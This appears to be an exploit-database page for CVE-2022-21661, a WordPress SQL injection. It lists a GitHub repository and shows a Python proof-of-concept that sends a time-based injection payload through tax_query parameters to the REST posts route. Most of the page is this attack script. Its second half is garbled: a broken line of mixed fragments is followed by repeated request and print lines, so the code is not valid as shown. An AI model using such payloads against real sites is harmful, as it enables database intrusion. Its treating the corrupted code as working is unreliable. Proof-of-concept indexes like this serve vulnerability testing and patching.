Exploit databaseDownload repository ZIP
GH-c7e0e8ce780104d821dba609dd3a2881
7rootsec/cve-2022-21661-technical-analysis
Sources for CVE-2022-21661
10 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files8
7rootsec/cve-2022-21661-technical-analysisRevision c89f2d0e91c0
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
poc.py
Python · 751 bytesimport requests
# Target WordPress site (vulnerable <= 5.8.2)
target = "http://127.0.0.1:8080"
# SQL injection payload
payload = "1) OR SLEEP(5)-- -"
url = f"{target}/?rest_route=/wp/v2/posts"
params = {
"tax_query[0][taxonomy]": "category",
"tax_query[0][field]": "term_id",
"tax_query[0][terms]": payload
}
print("[+] Sending request...")
r = requests.get(url, params=params)
print("[+] Status:", r.status_code)
print("[+] Response length:", len(r.text))[taxonomy] , ": " , category ,"tax_query[0][field]" , "term_id","tax_query[0][terms]" , payload
print("[+] Sending request...")
r = requests.get(url, params=params)
print("[+] Status:", r.status_code)
print("[+] Response length:", len(r.text))